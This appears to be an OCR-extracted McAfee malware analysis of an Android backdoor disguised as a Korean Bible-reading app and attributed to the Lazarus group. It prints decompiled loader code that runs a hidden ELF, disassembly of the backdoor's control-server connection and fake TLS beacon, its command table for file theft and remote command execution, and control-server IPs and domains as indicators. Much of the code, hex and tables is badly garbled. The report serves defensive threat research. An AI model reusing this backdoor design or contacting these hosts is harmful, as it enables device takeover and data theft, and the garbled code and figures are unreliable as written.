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The McAfee Mobile Research team recently examined a new threat, Android malware that
contains a backdoor file in the executable and linkable format (ELF). The ELF file is similar to
several executables that have been reported to belong to the Lazarus cybercrime group. (For
more on Lazarus, read this post from our Advanced Threat Research Team.)

The malware poses as a legitimate APK, available from Google Play, for reading the Bible in
Korean. The legit app has been installed more than 1,300 times. The malware has never
appeared on Google Play, and we do not know how the repackaged APK is spread in the
wild.
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Figure 1: Description of the legitimate app on Google Play.
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Figure 2: An overview of the malware’s operation.

Comparing Certificates

The repackaged APK has been signed by a different certificate from the legitimate APK. We
can see the differences in the following two screen captures:

: EMAILADDRESS=android@android.com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US
: EMAILADDRESS=android@®android.com, CN=Android, OU=Android, 0=Android, L=Mountain View, ST=California, C=US
Serial number: 936eacbe87f281df
Walid from: Fri Feb 29 18:33:46 KST 28 il: H

[=7=) =s5eou

=go e, =ss, (=
0= godpeople, L= seoul ST=ss, (C=22

number SZ2cZabac

alid from: Tue Dec 31 20:12:44 KST 2013 until: Wed Dec 19 20:12:44 KST 2063

Figure 4: The certificate of the legitimate APK.

Once the malicious APK installs its code, it attempts to execute the backdoor ELF from
“assets/while.” If the ELF successfully executes, it turns the device into a bot.
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private wvoid execute()
1
String strl = getFilesDir().getPathi);
Object local®bject = new java/lang/StringBuilder;
String str2 = String.valuelfi{strl);
{((5tringBuilder)localdbject).<init>{str2);
str2 = "fwhile";
String str3 = stri2;
localdbject = “"while";
copyvAssets((StringllocalCbject, strl);
File localFile = new javallo/File;
localFile.<init>(str3);
boolean bool = true;
localFile.setExecutabhle{bool);
try
i
localObject = Runtime.getRuntime();
{(Runtime)localObject).exec(str3);
localObject = “"snowflake";
str2 = "success";
Log.di{{5tring)ilocallbject, str2);
return;
H
catch (IOException locallOException)
i
for (;;)
i
localObject = “"snowflake";
str2 = "fail";
Log.d((Stringllocallbject, str2);
locallQException.printStackTracel);

public woid onCreate(Bundle paramBundle)
i
super.onCreate(paramBundle);
execute();
int i = 21389838a&7;
setContentView(i);
SharedPreferences localSharedPreferences = ClassCommon.config setting;
if (localSharedPreferences == null)
i
localSharedPreferences = getSharedPreferences("config_setting™, 8);
ClassCommon.config_setting = localSharedPreferences;
H

this.timer.start();

hy

Figure 5. The main function for executing the backdoor ELF.

Analyzing the Backdoor

Once the backdoor ELF starts, it turns into a zombie process to protect itself. It remains as a
zombie even if the parent process terminates, as long as the “dex” execute() method has
been implemented successfully.
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FUSH {RB-R5,LR}

LDR R3, ={__stack_chk_guard_ptr - Bx8F52)

SUB 5P, 3P, #8z1FC

ADD R3, PC ; _ stack_chk_guard_ptr

LDR R3, [R3] ; _ stack_chk_guard

LDR R2, [R3]

MOUs R5, R3

STR R2, [SP,#8x218+var_14]

CHP R8, #1

BHE loc_BF98

L 4
= Ll e 55
LDR R5, [R1]
BL _getpid loc_8F98 ; char =
LDR R1, ={a3D - B=8F7C) LDR R8, [R1,#4]
ADD R4, 5P, #8x218+szCmd BL _atoi
MOUs R3, RSB SUBS R2, RA, H8
ADD R1, PC ; %S Rd” BLE loc_8FAC
MOUS RB, R4 ; char = ™
MOUs R2, RS
BL _sprintf
MOUs RB, R&4
BL execiyncProcessUWiPrt
L J L
= =
LDR R1, =(aKillD - BxBFAA4)
loc_BFE88 s seconds| |ADD R4, 5P, #O=218+szCmd
MOUs RB, #5 MOUs RB, R&4 » Char =
BL _Sleep ADD R1, PC ; "kill %d“
B loc_ 8F88 BL _sprintf
] HMOUS RB, R&4
BL execiyncProcessUWiPrt

pu

Figure 6. The malware turns itself into a zombie process.

The malware contains a list of IP addresses of control servers. The list is encoded and

written to the file /data/system/dnscd.db.
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IPv4
14.139.200.107
175.100.189.174
197.211.212.31
199.180.148.134
110.45.145.103
2171174110
61.106.2.96
181.119.19.100
124.248.228.30
119.29.11.203
139.96.55.146
114.215.130.173

The preceding table lists information for each of the IP addresses. None of these is available
now.

Host

vmware-probe.zol.co.zw

wtps.org

mail.wavenet.com.ar

Country
India

India
Zimbabwe
United States
South Korea
Nigeria
South Korea
Argentina
Hong Kong
China
Sweden

China

History

Used by Lazarus

Used by Lazarus

Used by Lazarus
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DCB

DCB

DCB

DCB

DCB

DCB

pCcB

"14.139.260.187",0

RO, RS : void =
R1, ®1 : size t
"175.1006.189 .174",0 n2, R4 ; size_t
R3, R6 i FILE =
_Furite
"197.211.212.31",08 R7, 20
RO, R4
loc_9736
'"199.180.148.134"",0 T 1
Y
"118.45.145.1683",0 LOR RO, =(abataSystendnsc - BxP734)
HOUS R7, ®1
ROD RO, PC ; “/data/systen/dnscd.db”
217 . A17 .4.1106",0 BL ChangeFilePernission
. . -~ t4 _
61.106.2.96",0 , = =
LD R1, ={off_DEBC - If(??l]ﬁ) loc_9736 ; FILE »| [1oc_973E
| _[paus R2, R7 ; [size_t HOUS  RB, R6 ADDS  R7, RO, #0
HOUS RB, RS ; lvoid # g'- i:ﬁl:;:n
ADD R1, PC ; off_DEBC — T
> LDR R1, [R1] szIPadqresses [ |
BL _mencpy
HOUS R4, #0O . vold »
HOUS R2, #BxSE RO, RS ;
_free
L* RO, R7
 J {R3-R7,PC}
ﬁ@ End of function writeEncodedListOfC2sToFile
loc_976E
LDRB R3, [RE,R4]
EORS R3, R2
STRE  R3, [R5,R4]
ADDS R4, #1
CHP R4, R
BNE loc_99[ €ér €z 70 6F €D €7 70 6C 6E 6E 70 6F 6E 6% S5E S5E ojpomgplnnponi””®
Ee— | S5E S5E S5E SE 6F €9 €B 70 6F 6E 6E 70 6F 66 &7 70 ~artoikponnpofgp
6F 69 6A SE SE SE SE SE 6F 67 69 70 6C 6F 6F 70 oij~~~~"~ogiploop
€C 6F 6C 70 €D €F SE S5E S5E 5E S5E 5E 6F 67 €7 70 lolpmo™~~"~“oggp
6F 66 6E 70 6F €A €6 70 6F 6D €A 5E SE 5E S5E 5SE ofnpojfpomj~~~~*
€F 6F 6E 70 €A €B 70 €F 6A 6B 70 €F 6E 6D S5E 5E oonpjkpojkponm™*
SE SE SE S5E 6C 6F 69 70 6F 6F 69 70 6A 70 6F 6F ~~~~lgoipooipipoo
6E S5E SE SE SE SE SE SE 68 6F 70 6F 6E 68 70 6C n~~nnnas hoponhpl
70 €7 €8 SE SE S5E S5E S5E 5E S5E S5E S5E 6E 70 6E 70 pghinrsrassa npnp
€6E 70 6E SE 5E SE S5E 5E 5E S5E SE 5E SE 5E S5E 5E +12) s MRR
6E 70 6E 70 6E 70 6E SE SE SE SE SE SE S5E S5E SE | npnpnpnttfnsnans
SE SE SE S5E 6E 70 6E 70 6E 70 €E S5E SE SE S5E S5E = ~~““npnpnpn~~~°n
SE SE SE SE S5E SE S5E S5E E5 S5F SE SE E5 S5F S5E S5E = ~nnnancan & ~ng nn
E5 5F S5E 5E ES5 5F 5E 5E ES5 5F SE SE ES5 5F 5E SE é_“*é_’”‘é._"*é_’“‘
ES5 SF SE 5E (SE 5E SE SE |SE SE SE 5E |SE SE S5E SE é_""*""‘""*"“"""‘"
S5E SE SE SE 5E S5E S5E S5E S5E S5E SE 5E SE 5E S5E S5E MALMDABDD D DD LSS

Figure 7. The flow of writing the encoded control server IPs to a file.

The IP address array is encoded by a simple routine when it is loaded into memory from the

read-only data section; that encoded data is written to the file /data/system/dnscd.db. The
decoded file is then loaded into memory to select an IP address to connect to.

One of control servers is selected randomly immediately before the backdoor process
attempts to connect to its address. The attempt is performed repeatedly to successfully
connect with one of the control servers.

7/27


https://securingtomorrow.mcafee.com/wp-content/uploads/2017/11/20171114-ELF-7.png

FB BS PUSH {R4-R7,LR}
15 4G LDR R4, =( stack _chk_guard_ptr - 0x96C8)
87 BO sue SP, SP, #Ox1C
81 aD ADD R5, SP, #0x38+var_2C
7C 44 ADD R4, PC ; _ stack_chk_guard_ptr
24 68 LDR R4, [RE] : _ stack_chk_guard
02 26 HOUS RG6, #2
8F 1cC HOUS R7, R1
23 68 LDR R3, [R4]
2E 80 STRH R6, [R5]
a5 93 B ] P 4 B+var_1C]
62 FO F5 FE
39 04 R1, R7, #0x18
6B Ba R3, R1, #8
069 Ot R1, R1, #0Ox18
19 43 R1, R3
68 60 RO, [R5,#4]
69 80 R1, [R5,#2]
3l 1c RB, R6 ; domain
1 21 R1, #1 ; type
b 22 R2, #8 ; protocol
82 FO EE FE _socket
86 1E R6, RO, #O
82 DC : loc_9B8EE
~ ) |
| Y
loc_ 9BEE
29 1C
18 22
062 FO E9 FE
0o 28
F6 DB
]
vy
ODOOBESL0 OO0 6O 00 60 31 37 35 2E 31 30 30 2E 31 38 39 2E
BBBABES56 31 37 34 00 09 60 60 88 31 39 37 2E 32 31 31 2E
HUBBES60 32 31 32 2E 33 31 00 00 060 60 60 60 31 39 39 2E
BOBABESYH 31 38 38 2E 31 34 38 2E 31 33 34 00 00 00 08 00
0OB0ES80 31 31 30 2E 34 35 2E 31 34 35 2E 31 30 33 EE 6o
DOBOES90 B0 00 00 60 32 31 37 2E 31 31 37 2E 34 2E 31 AN
OOBOBESAD 30 00 90 00 00 60 60 B0 36 31 2E 31 38 36 2E 32
DOBBESBH  2E 39 36 OO OO OO 0D PO OO OO PO B0 30 2E 30 2E
OOBBESCH 30 2E 30 00 00 OO0 OO0 B0 060 OO 60 0O 60 60 BA 00
OOOBESDO 36 2E 30 2E 36 2E 30 66 00 00 OO0 60 6O 60 06 60
OOBBESES 90 08 B8 08 38 2E 30 2E 38 2E 30 060 80 80 B8 80

Figure 8. The malware creates a socket and connects to a randomly selected control server.
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Once connected with a control server, the malware begins to fill the buffer using a callback
beacon. Figure 9 shows a part of the message-generating code. Several fields of the packet
are hardcoded, particularly the bytes at offsets 0, 4, and 5. After we realized that the
message only pretended to use the SSL handshake protocol, we understood the meaning of
the hardcoded bytes. The byte at offset O is the handshake type; offsets 4 and 5 are the SSL
version of the handshake layer, a part of transport layer security.

08
04
00
01
BY4
01
03
33
32
73
20
20
0o
FF
28
01
03
02

1C
22
21
FB
1D
23
22
70
1
1
1C
21
25
F7
1C
Fo
86
513

EO FB

24 FE

26 FC

MOUS RO, R1 ; void =
MOUS R2, #4 ; size t
MOUS R1, #0 ; int

BL _memset

ADDS R4, R6, H6

MOUS R3, #1

MOUS R2, #3

STRB R3, [R6]

STRB R2, [R6,%#4]

STRB R3, [R6,H#5]

MOUS RO, R4 T

MOUS R1, #0x206

MOUS RS, #0

BL setMemRandNumBylLen

MOUS RO, RS ; time_t =
BL _time

LSLS R3, RO, #Ox18

LSRS R2, RO, #06x18

Figure 9. A part of the function for generating a callback beacon.
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Struct Socket

Address of data
Length of data

PUSH {R3-R7,LR}

HOUS R6, R8O
HOUS R7, R1
HOUS R5, R2
HOUS R4, #0
+ CODE xR _ 22:8 . ::1 #0x18 18]
, 0= 18+var_
:22 Eu’ :;“ LDR [SP,H#0x18+var_18]
. LDR =0xFF 0BOOFF
LDR R3, =0x7FFF
SUBS R2, RS, R4
CHP R2, R3
BLS loc_RA57E
HOUS R2, #0x8000 H]
: CODE XR _
ADDS R1, R7, R4 ; buf {1, #0x18+var_18+3]
LDR RO, [R6,H#sock_str.fdSock] 5
BL _write
CHP RO, #O
BEQ locret_A598 FF
ADDS R4, R4, RO
B loc_A56E
; CODE XR HOUS RO, R7
ADDS RO, R4, #0 MOUS  R1, Ré
MOUS RO, #0 HOUS R2 5
: CODE XRP locret_aé61a| [FF F7 A5 FF BL
POP {R3-R7,PC} |

RO 0066668C

R1 |[B6438000
R2 (600000A5 >

’_____._—-"
B6438009” [ij] 00 00 A1 63 61 59 CA 97 91 31 069 FE E9 A3 B2 ...... R | SRR
B64388A8 A4 9E FC C2 8E 70 FC CF 35 47 D2 78 DE 58 43 1C ..... p-..56.p.XC.
B6438428 D7 D7 73 30 4F C9 60 66 48 CO OA CO 14 60 88 68 ..sB0...H.......
B64380%08 87 00 39 00 38 CO OF CO 05 00 84 @0 35 CO 67 CO ..9.8....... 5...
B643864By, 09 CO 11 CO 13 66 45 00 44 06 66 60 33 660 32 €O  ...... E.D.f.3.2.
B6438050 OC CO BE CO 62 CO B4 B0 96 00 41 00 05 00 64 00 .......... A.....
B6438668 2F CO 68 CH 12 66 16 6@ 13 CO 6D CO 03 FE FF B8 /...............
B6438070 ©OA 01 00 00 30 00 00 00 16 00 14 00 60 11 77 77 ....0......... w
B64386888 77 2E 77 69 6B 69 70 65 64 69 61 2E 6F 72 67 88 w.wikipedia.org.
B6438090 ©OA 00 98 00 06 00 17 60 18 00 19 00 OB @0 92 01 ................
B64386A6 B8 33 74 66 66 70 6E SE SE SE SE S5E 5E SE S5E 5E  .3t..pn~ 7777777

Figure 10. Transferring data to be used as the callback beacon to the control server.
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After the message is generated, it sends the following packet (Figure 11) to the control server
as a callback beacon. There is a randomly selected well-known domain in the packet where
the server name indicator field is placed as a field of extension data. We suspect this is an
evasion technique to avoid detection by security solutions looking for suspicious behaviors.

¥ Secure Sockets Layer
¥ TL5vw1l Record Layer: Handshake Protocol: Client Hello
Content Type: Handshake (22)
Versicn: TLS 1.8 (@x@38l)
Length: 165
% Handshake Protocol: Client Hello
Handshake Type: Client Hello (1)
Length: 161
Version: TLS 1.8 (@xB381)
» Random: 59caf979131@9fee9a3b2ad9efcc28evafccf3547d278de58. ..
Session ID Length: @
Cipher Suites Length: 72
» Cipher Suites (36 suites)
Compression Methods Length: 1
» Compressicn Methods (1 method)
Extensions Length: 48
¥ Extension: server_name (len=22)
Type: server_name (@)
Length: 22
¥ Server Name Indication extension
Server Name list length: 28
Server Name Type: host _name (@)
Server Name length: 17
Server Name: www.wikipedia.org
» Extensicn: supported_groups (len=8)
» Extension: ec_point_formats (len=2)
» Extension: next_protocol negotiation (len=8)

gaaa  lE a1 B al @l 59 91
2al1e [ ed Se c2 78 fc 47
2828 g 58 d7 E1c] c9 8e cd
CCECIN G 14 88 Ba ae c@ ef 2a
GSRC AR 35 CB 8 @ 13 88 45 515
2858 (i @ @e c@ e a4 ae
SRR 85 88 8 88 c@ 12 88 16 e
ea7e [d:EERY Bl 68 o8 a8 ae 2
G A E B8 1 2e 77 69 69 7a 69
Beoe s BE 83 o8 ga 17 2e
EEETIRR Bh 33 74 a8

Figure 11. A captured packet from the callback beacon.
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FFFIT TV 2E 7V 65 T4 F2 61
¥3 66 65 72 2E 63 6F 6D G8 66 66 60 60 08 08 @8 sSfer.com
B8 0B 00 80 80 88 77 77 77 2E ¥7 69 6B 69 7O 65 ...... wvuww . wikipe
64 69 61 2E 6F 72 67 B0 00 00 00 00 00 68 68 B8 dia.org

Figure 12. The list of legitimate (well-known) domains in the binary.

After sending the callback beacon, the malware assigns global variables that contain device
information which is transferred to the control server once it receives the command code
0x5249. Figure 13 shows the jump table for implementing commands and its pseudo code.
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BL
CHP
BNE
LDR
LDR
ADDS
CHP
BLS

Mous

loc_A2A0

GetHsgFromC2_ 9F68

RB, #o

loc_A35k

R2, [SP,#0x126+var_1280]

R3, =8xFFFFADC2

RO, R2, R3

RO, #0215 ; switch 22 cases
loc_A2D8

; CODE XREF: functio

; functionsO0fBackdoo
R4, #0 H jumptahle oaBBAZDB

 LODF _XRFF: functio

BL

pce
DCB
DCB
DCB
DCB
DCB
DCB
pCB
DCB
pCB
pCB
DCB
DCB
pce
DCB
DCB
pCB
bce
DCB
DCB
pCB
DCB

0213
0x17
0x1B
BxFC
BXFC
Bz1F
0x23
AxFC
Bx27
B2FC
OxFC
AxB

Bx2F
0x2B
BxFC
0x3B
BxFC
B:FC
BzFC
axE

Ax33
0236

__gnu_thumb1_case_sqi ; pwitch jump

3 jump thble for swi

_?pEdEf enum _CMO_COOE

UPLOAD_FILELIET
DoOwWMLOAD_FILE,

CHO_CODE;

Figure 13. The jump table for implementing commands from the control server and the

structure for receiving data.

?witch {nCmdCode )

default

GetFileList{ara):

DownloadFile(arg);

UploadFile(arg)

ExecuteCmd{arg):

RemoveFile(aral:

ExecuteCmdWithForwStdo(arg )

SendDevicelnfol )

ChangeDirectory({arg)

SwitchC2Server(arg);

onnectionWithSleep{arg)
=0,

= sendCurrentC21Paddress

DownloadC2ListAndWriteToFile(arg);

ont inue;
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The functions are described in the following table. Command code and arguments arrive as
structured data from the control server, as shown in Figure 13. The command code and

arguments are assigned, respectively, to the CMD and DATA member variables of the
received data structure.
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Command Code

0x523E

0x523F

0x5240

0x5243

0x5244

0x5246

0x5249

0x524A

0x524B

0x524D

0x5251

0x5252

0x5253

Description

Transfer the sub file list of the path requested from control server
List of directories and files with size and last modified time

* Argument: The root path to collect sub file list

* Return: The size of data plus names of directories/files

Download file to new path from control server

* Argument: The path of file to download

* Return: If successful, sends Ox524F. If an error, sends 0x5250.
Upload the whole/partial file requested from control server

* Argument: The path of file to upload to control server

* Return: If successful, sends 0x524F. If an error, sends 0x5250.
Execute command received from control server

* Argument: Command string to perform as process

* Return: If successful, sends Ox524F. If an error, sends 0x5250.
Remove the file/directory requested from control server

* Argument: The path to remove

* Return: If successful, sends 0x524F. If an error, sends 0x5250.
Execute command and forward the data to control server

* Argument: command string to perform as process

* Return: Once complete, sends 0x0000

Transfer device information to control server

Brand, model, platform, OS version, kernel version, IP addresses, current working
directory, user name

Change the current work directory to the directory requested from control server
* Argument: The path of file to upload to control server

* Return: 0x524F and current work directory

Switch current control server to new control server

* Argument: IP address and port number

* Return: If successful, sends 0x524F. If an error, sends 0x5250.
Terminate self-process

Closes the connected socket and exits process

Close the current connection with control server and sleep

Closes the connected socket and changes the running status variable
* Argument: The number of seconds to sleep

* Return: 0x5251

Transfer the current list of control server’s connection information
IP addresses and ports currently loaded in memory

Download a list of control server connection information

Downloads and writes to file with XOR 5E encoding
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After performing commands received from the control server, the malware returns the results
to the control server using the codes in Figures 14 and 15. Before transferring the results,
the return code and data are stored in a structure described in the following pseudo code.

Y
(ol s 5=
a8 1c HOUS R@, R6 ; char =
62 FB C4 Fn BL _strlen
82 23 5B 0@ HOUS R3, #Bx104
08 42 CHP RB, R3
a1 DB BHI loc_999C
Y
FIEE] FEE
a1 98 STR RB, [SP,#0x128+resultSt.nSizedfData]
88 EB B loc_999E loc_999C
T a1 93 STR R3, [SP,#Bx128+resultSt.nSizedfData]
A J
il i =
loc_999E ; char =
82 a8 ADD RB, SP, #0x128+resultSt.data
31 1c HOUS R1, R6 ; char =
6A 68 LDR R2, [R5,H#4] ; size_t
82 FO BC FA BL _strncpy
Yy
(ol s =
loc_%9n8
86 21 HOUS R1, #8x86
68 46 oy RB, SP ; al
49 @8 LSLS R1, R1, #1
FF F7 B1 FF BL SendDataWithEncode_9914
43 9A LDR R2, [SP,#8x128+var_1C]
23 68 LDR R3, [Ru4]
on 42 CHP R2, R3
o1 D@ BEQ loc_99BE

PDHH_EIJEE
ESULT_CODE:

gtruct result_st

RESULT_CODE
int
YTE

Figures 14 and 15. The codes and data structure returned to the control server.

Similarities to Lazarus Malware

In Figure 16, the function on the left is from the backdoor ELF we have analyzed. On the
right, we see procedures found in several executables used by the Lazarus Group in various

attacks.
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dword ptr [ecx+ T
ax,

dword ptr [ecx+ T
edi, edi

[ecx+8], esi

short loc_4011AB

loc_4B118D:

mov edi,

mov a3

Xor

mov

mov

Xor

mov

mov

Xor

dec

mov ecx » Bax
jnz hort loc_46118D

Figure 16. Similar functions to the executable used in the Sony Pictures attack.

Both functions look very similar. And the hexadecimal seeds for generating a key for
encryption and decryption are the same. Both functions are also used to generate a
message encryption and decryption key between the victim and control server. Figure 17
shows the functions of both the backdoor ELF and an executable recently used by the
Lazarus Group. The function connects to the control server, and generates a disguised SSL
ClientHello packet. Then the generated packet is sent to the control server as callback

beacon.
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Figure 17. The functions to establish a connection to the control server (ELF on the leff).

The function in Figure 18 generates a disguised ClientHello packet to use as a callback
beacon.
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88 1C
oy 22
a0 21
o1 FO EO FB

[ ,
byte ptr [ +0],

byte ptr [ebp+0],

setHenRandNunByLen_kokoF b

oc_hB4908:
. [R3, z short loc 4910
loc_ATED loc_A7D2
HOUS 1, 8
Hous
STRB 1, [R3,80x1F) =
BL setHemRandNumByL en inc ' oc BOA910:

Mous N " - 27 -
L short loc_ho4923 byte ptr [ +0],
ADDS . B y P )

setHenRandHumBylLen_4 04 0F

Figure 18. Generating the disgquised ClientHello packet (ELF on the left).

Both backdoors use same protocol, as we confirmed when analyzing the function for
receiving a message from the control server. Figure 19 shows the protocol for transferring a
message between the backdoor and the control server.
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21 10

.p+18h+buf]
05 22 2, ;P
FF F7 88 FF RecuToBuFF
80 28 H RO, #

sSp+ thuff.byType],
; DB loc MG7C L€3] ' yType]

dword ptr [esp+ +buff.uwSign],
loc_hBWGED

lea 1%, [espe +hufF]
push : p_nLen

push eax ; buf

call RecuToBuff_LBLhBD

test eax, eax
jz short loc_ WBhG6EYD

+*bufF.wSign]

es "
edx, dword ptr [esp+ +buff.wLen]
r shuff.uSign], ax

; netshort

ntohs
+buff.uLen], ax
dword ptr [esps +Duff
[espe» varg_h)

e
push 51 3 pur
push edi ; buf
nov e ., ehp ; this
call RecuToBuff_ LD4ABD
nou b, @eax

test ebx, ebx

jbe short loc_ NBN6EYQ

1, R g
RecuToBuff_AS98
RO, W

loc_RG7C

*buff .byType]
+arg_C]

31, ;
short loc_L4BAGED

sbuff .wSign],
c_WBNb6ED

Figure 19. The receive message function included in the checking protocol (ELF on the left).

To transfer a message from the source, the malware first sends a five-byte message to the
destination. The message contains information on the size of the next packet, a hardcoded
value, and the type of message. The hardcoded value is 0x0301 and the type of message
can be between 0x14-0x17. The message type can also be used to check the validation of
the received packet. The following is pseudo code from the receive function:
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* Transmission Control Protocol, Src Port: 58691, Dst Port: 443, Seq: 1, Ack: 1, Len: 5
Source Port: 58691
Destination Port: 443
[5tream index: 4]
[TCP Segment Len: 5]
Sequence number: 1 {relative sequence number)
[Next sequence number: & (relative sequence number)]
Acknowledgment number: 1 (relative ack number)
le88 .... = Header Length: 32 bytes (8)
Flags: @x@18 (PSH, ACK)
Window size walue: 2738
[Calculated window size: 2738]
[Window size scaling facter: -1 (unknown)]
Checksum: 8x986f [unverified]
[Checksum Status: Unverified]
Urgent pointer: @
Opticns: (12 bytes), No-Operation (MOP), No-Operaticn (NOP), Timestamps
[SEQ/ACK analysis)
TCP payload (5 bytes)
[Reassembled PDU in frame: 38@]
TCP segment data (5 bytes)

4c 34 38 17 b5 24 58 4e 81 83 ab 11 @3 9@ 45 88 L4...5.N ...... E.
82 39 fd 46 49 8B 48 BE 4a lc cP ad 39 B5 cB al LOLF@.@. J3...9...
30 86 e5 43 @1 bb f6 S5c BY 79 f2 2e 31 cl B8 18 O.E..oN oy adol.

Ba b2 98 6 @@ @@ @1 @1 ©8 @a 16 T5 9 7f 8 T9  ...0.... wvvevans
ki g6 ©3 @1 B8 73 ;. .. .:

Figure 20. The five-byte packet sent before the source sends its primary message.
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gtrUEt st HDQtES .

]
+5ock, BYTE +p_Buf, OWORD p_nlLen, BYTE p_byTvpe)

' unsianed int
struct st_Gby

buff{0].b e 1}
+[ _OWORD 0] . wsi 0:
if [RecwToBuff(sock st char +)buff, B))
buff[0O] . w2ign ohs{bufFLO] . waign.
buff[0] .wLen = buff(0].wLen .
ifibuff[0].wLen = p_nLen || buff{0].bwType '= p_byTwpe || buffl0].wSign != 0x301)

result

ifi{result= RecvToBuff(sock, (const char +)p_Buf, buff[0].wLen)i)

DecodeMessagel p_Buf 1.

Figure 21. Pseudo code from the receive message function.

Conclusion

The security industry keeps an eye on the Lazarus Group, and McAfee Mobile Security
researchers actively monitor for mobile threats by Lazarus and other actors. We compared
our findings with the threat intelligence research of our Advanced Threat Research team,
which studies several groups and their techniques. Due to the reuse of recent campaign
infrastructure, code similarities, and functions such as the fake transport layer security, these
tactics match many we have observed from the Lazarus Group.

We do not know if this is Lazarus’ first activity on a mobile platform. But based on the code
similarities we can say it with high confidence that the Lazarus Group is now operating in the
mobile world.

McAfee Mobile Security detects this malware as “Android/Backdoor.” Always keep your
mobile security application updated to the latest version. And never install applications from
unverified sources. This habit will reduce the risk of infection by malware.

Indicators of Compromise:

Hashes
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12cc14bbc421275¢3c6145bfa186dff

24f61120946ddac5e1d15cd64c48b7e6

8b98bdf2c6a299e1fed217889af54845

9ce9alb3876aacbf0e8023c97fd0a21d

Domains

mail[.Jwavenet.com.ar
vmware-probe[.]zol.co.zw
wtps[.]Jorg

IP addresses

110[.]45.145.103
114[.]215.130.173
119[.]29.11.203
124[.]248.228.30
139[.]196.55.146
14[.]139.200.107
175[.]100.189.174
181[.]119.19.100
197[.]211.212.31
199[.]180.148.134
217[.]117.4.110
61[.]106.2.96
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